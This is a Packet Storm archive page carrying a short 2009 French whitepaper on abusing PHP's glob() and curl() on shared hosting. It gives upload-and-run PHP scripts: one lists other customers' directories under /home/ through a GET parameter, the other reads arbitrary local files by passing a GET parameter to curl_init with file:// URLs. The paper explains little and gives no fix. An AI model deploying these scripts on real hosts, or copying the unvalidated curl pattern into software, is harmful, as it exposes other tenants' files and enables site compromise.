exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Whitepaper Discussing Glob() And Curl()

Whitepaper Discussing Glob() And Curl()
Posted Sep 11, 2009
Authored by Thibow | Site informatique-inside.com

Whitepaper discussing vulnerabilities surrounding Glob() and Curl(). Written in French.

tags | paper, vulnerability
SHA-256 | 5baae62c129bdf7bd18d5a681202174e2821fb14c3c8215e932757f95ec13011

Whitepaper Discussing Glob() And Curl()

Change Mirror Download
    ..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
..:: ::..
..:: Faille Glob() & Curl() ::..
..:: Auteur: Thibow ::..
..:: Niveau: Résumé facile ::..
..:: Website: http://www.informatique-inside.com ::..
..:: Mail: webmaster [at] informatique-inside [dot] com ::..
..:: ::..
..:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..



Ces failles ont étaient utilisées a l"inssu des plus grands hébergeurs en 2006...

=============================\
1. Glob() |
..1.1. Qu'est ce donc? |
..1.2. Vulnérabilté |
|
2. Curl() |
..2.1. Qu'est ce donc ? |
..2.2. Vulnérabiltés |
=============================/


1. Glob()
1.1. Qu'est donc ?

Glob() est une fonction php, qui affiche les dossier ou fichier en fonction d'un certain masque.
Les règles de recherche sont les mêmes que dans les shell du système d'exploitation du serveur.

Voici un exemple php pour lister tout les fichier .php du dossier /coucou/:

<?php
$files = glob("coucou/*.php");
foreach ($files as $filename) {
echo "$filename \n";
}
?>

Il existe de nombreux paramètres possible, mais ce c'est pas le but de les expliquer ici.

############################


1.2 Vulnérabilités

La faille réside dans une mauvaise gestion des droits de lecture lors de la configuration de php.
Sans rentrer dans les détails, cela provient d'une mauvaise configuration de open_basedir et de safe_mod dans php.
Nous allons donc créer un script, qui tout d'abord affiche si open_basedir et safe_mod sont activés ou non.
Ensuite utiliser glob au sens propre du terme.

Exemple: glob.php

<?php
$dossier=$_GET['dossier']; /*recupération du contenu de .php?dossier= */
print "open_basedir: ".(bool)ini_get('open_basedir')."\n"; /*Verification open_basedir */
print "safe_mode: ".ini_get('safe_mode')."\n\n"; /* Verification safe_mod */
print_r(glob("{glob.php,/$dossier}",GLOB_BRACE)); /*affichage du dossier demand?*/
?>

Pour prendre un exemple concret, vous êtes sur un hébergeur, vous avez envoyé ce fichier.
Vous voulez savoir quel sont les autres hébergés que vous.
Souvent sur les serveurs unix, ils se trouvent dans /home/ .
Tapez donc:

http://website.com/votrecompte/glob.php?dossier=/home/ *

/home/* pour "tout" comme sur un shell dire de lister tout les fichiers (*) dans le dossier home (/home/).

Pour plus d'aide et d'information glob(); visiter http://www.nexen.net/docs/php/annotee/function.glob.php
Je vous encourage d'ailleur a lire la documentation php de nexen très complète.

C'est l'en semble des sites situés sur l'hébergeur cible, on peut donc
voir tout ce qui est contenu dans ces sites, sans pouvoir lire le
contenu des fichier.



############################


2. Curl()
2.1 Qu'est ce donc ?

Curl est un outils de transfert de fichier par syntaxe url. Il envoit
des données par de nombreux protocols tel que HTTP, HTTPS, FTP, FTPS,
TFTP, GOPHER, DICT, TELNET, LDAP ou FILE.


############################


2.2 Vulnérabilités

Dans notre cas nous allons nous interesser uniquement à l'utilisation de
curl avec PHP, vu les énormes possibilités offertes, je vais vous
expliquer certains exemples.
La session curl doit etre initité, "configurée" puis executé avant d'etre fermée.
Un trés simple exemple permettant d'obtenir le contenu d'une page web.

<?php
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "http://www.informatique-inside.com/page.html");
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_exec ($ch);
curl_close ($ch);
?>

Tout en sachant qu'ont pourrais faire avec FILE:

curl_setopt ($ch, CURLOPT_URL, "file:///home/informatique-inside.com/page.html");

Ou bien avec un autre protocol supporté si le fichier existe.

Un exemple afin d'utilise POST sur un site distant:

<?php
$ch = curl_init(); //Initialisation
curl_setopt($ch, CURLOPT_URL,"http://lesite/recup.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"postvar1=value1&postvar2=value2&postvar3=value3"); //Paramètres
curl_exec ($ch); //execution
curl_close ($ch); //fermeture
?>

C'est en effet une mauvaise restriction des dossiers avec FILE.
Voila le code:

<?php
$ch = curl_init($_GET['page']);
$file=curl_exec($ch);
echo $file
?>

De nombreux hébergeur ont été vitcimes d'attaques de type Glob() &
Curl() en 2006. Comme vous l'avez compris, la faille Glob() permettant
la lecture d'un chemin d'accès complet, et Curl() permettant la lecture
des fichiers, de nombreux accés a des sites ont étaient dérobés...



..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
..:: ::..
..:: Faille Glob() & Curl() ::..
..:: Auteur: Thibow ::..
..:: Niveau: Résumé facile ::..
..:: Website: http://www.informatique-inside.com ::..
..:: Mail: webmaster [at] informatique-inside [dot] com ::..
..:: ::..
..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close